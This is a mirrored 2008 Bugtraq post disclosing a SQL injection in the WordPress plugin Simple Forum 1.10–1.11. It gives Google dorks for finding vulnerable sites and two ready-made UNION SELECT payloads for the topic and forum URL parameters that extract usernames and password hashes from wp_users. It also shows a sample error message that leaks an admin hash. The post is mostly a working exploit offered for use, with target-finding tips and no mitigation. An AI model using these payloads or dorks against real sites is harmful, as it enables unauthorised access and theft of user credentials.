

# Simple Forum Version 1.10–1.11 SQL Injection

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2008-02/msg00228.html>

---

- *From:* [hackturkiye.hackturkiye@xxxxxxxxxx](mailto:hackturkiye.hackturkiye@xxxxxxxxxx)
  - *Date:* 15 Feb 2008 17:40:20 –0000
- 

```
#####  
#  
# Simple Forum Version 1.10–1.11 SQL Injection  
#  
#####  
#  
# AUTHOR : S@BUN  
#  
# HOME : http://www.milw0rm.com/author/1334  
#  
# MA&#304;L : hackturkiye.hackturkiye@xxxxxxxxxx  
#  
#####  
Simple Forum – Version 1.10  
  
Simple Forum – Version 1.10 – ( 2.1.3)  
  
Simple Forum – Version 1.11
```

```
#####  
EXPLA&#304;N=
```

sometimes password and username in error massege for axample you can see in

(bazen &#351;ifreler hatalar&#305;n içindedir)

WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '|admin|b8329b6e20b9f84f7b44ee678a5f484d| WHERE topic\_id=-1/\*\*/UNION/\*\*/SELECT/\*\*' at line 1]  
UPDATE wp\_sftopics SET topic\_opened = |admin|b8329b6e20b9f84f7b44ee678a5f484d| WHERE topic\_id=-1/\*\*/UNION/\*\*/SELECT/\*\*/concat(0x7c,user\_login,0x7c,user\_pass,0x7c)/\*\*/FROM/\*\*/wp\_users/\*

```
#####
```

DORK 1 :

Simple Forum – Version 1.10  
Simple Forum – Version 1.10 – ( 2.1.3)

## Simple Forum Version 1.10–1.11 SQL Injection

Simple Forum – Version 1.11

DORK 2 : allinurl: topic "forums?forum="

#####  
example

<http://xxxxx/forums?forum=xxxx&topic=> (exploit)

EXPLO&#304;T 1 :

–99999/\*\*/UNION/\*\*/SELECT/\*\*/concat(0x7c,user\_login,0x7c,user\_pass,0x7c)\*\*/FROM/\*\*/wp\_users/\*

EXPLO&#304;T 2 :

S&#304;MET&#304;MES YOU CANT SEE (xxxx&topic) SOO USE TH&#304;S EXPLO&#304;T AFTER  
forum=xxx(number)

example

[www.xxxxx/forums?forum=1](http://www.xxxxx/forums?forum=1)(exploit)

&topic=–99999/\*\*/UNION/\*\*/SELECT/\*\*/concat(0x7c,user\_login,0x7c,user\_pass,0x7c)\*\*/FROM/\*\*/wp\_users/\*

#####  
# S@BUN i AM NOT HACKER S@BUN  
#####